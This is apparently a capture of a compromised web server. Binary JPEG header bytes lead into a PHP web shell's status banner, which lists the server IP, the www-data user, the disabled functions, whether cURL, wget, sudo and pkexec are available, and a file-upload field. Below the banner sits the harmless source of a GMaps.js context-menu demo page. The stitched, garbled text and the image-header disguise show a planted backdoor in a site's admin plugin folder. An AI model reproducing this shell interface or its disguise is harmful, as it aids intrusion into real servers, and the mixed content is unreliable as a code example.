����JFIF��H�H����Exif��MM�*���� ��3����V�����3������3�(��������������������3�����
Server IP : 74.208.127.88 / Your IP : 216.73.216.253 Web Server : Apache/2.4.41 (Ubuntu) System : Linux ubuntu 5.4.0-163-generic #180-Ubuntu SMP Tue Sep 5 13:21:23 UTC 2023 x86_64 User : www-data ( 33) PHP Version : 7.4.3-4ubuntu2.29 Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare, MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : ON Directory : /var/www/html/admin/assets/plugins/gmaps/examples/ |
Upload File : |
<!DOCTYPE html> <html> <head> <meta charset="utf-8"> <title>GMaps.js — Context menu</title> <script type="text/javascript" src="http://ajax.googleapis.com/ajax/libs/jquery/1.6.4/jquery.min.js"></script> <script type="text/javascript" src="http://maps.google.com/maps/api/js?sensor=true"></script> <script type="text/javascript" src="../gmaps.js"></script> <link rel="stylesheet" href="http://twitter.github.com/bootstrap/1.3.0/bootstrap.min.css" /> <link rel="stylesheet" type="text/css" href="examples.css" /> <script type="text/javascript"> var map; $(document).ready(function(){ map = new GMaps({ el: '#map', lat: -12.043333, lng: -77.028333 }); map.setContextMenu({ control: 'map', options: [{ title: 'Add marker', name: 'add_marker', action: function(e){ console.log(e.latLng.lat()); console.log(e.latLng.lng()); this.addMarker({ lat: e.latLng.lat(), lng: e.latLng.lng(), title: 'New marker' }); this.hideContextMenu(); } }, { title: 'Center here', name: 'center_here', action: function(e){ this.setCenter(e.latLng.lat(), e.latLng.lng()); } }] }); map.setContextMenu({ control: 'marker', options: [{ title: 'Center here', name: 'center_here', action: function(e){ this.setCenter(e.latLng.lat(), e.latLng.lng()); } }] }); }); </script> </head> <body> <h1>GMaps.js — Context menu</h1> <div class="row"> <div class="span11"> <div id="map"></div> </div> <div class="span6"> <p>You can define a context menu (which will show on right click) with:</p> <pre>map.setContextMenu({ control: 'map', options: [{ title: 'Add marker', name: 'add_marker', action: function(e){ this.addMarker({ lat: e.latLng.lat(), lng: e.latLng.lng(), title: 'New marker' }); } }, { title: 'Center here', name: 'center_here', action: function(e){ this.setCenter(e.latLng.lat(), e.latLng.lng()); } }] });</pre> <p>You must define the <strong>control</strong> that the context menu is attached (<strong>map</strong> or <strong>marker</strong>) and an array of <strong>options</strong> with <code>title</code>, <code>name</code> and <code>action</code> Inside <code>action</code> you can use <code>this</code> for the GMaps.js object (<code>map</code> in this case) and MouseEvent object <code>e</code>.</p> </div> </div> </body> </html>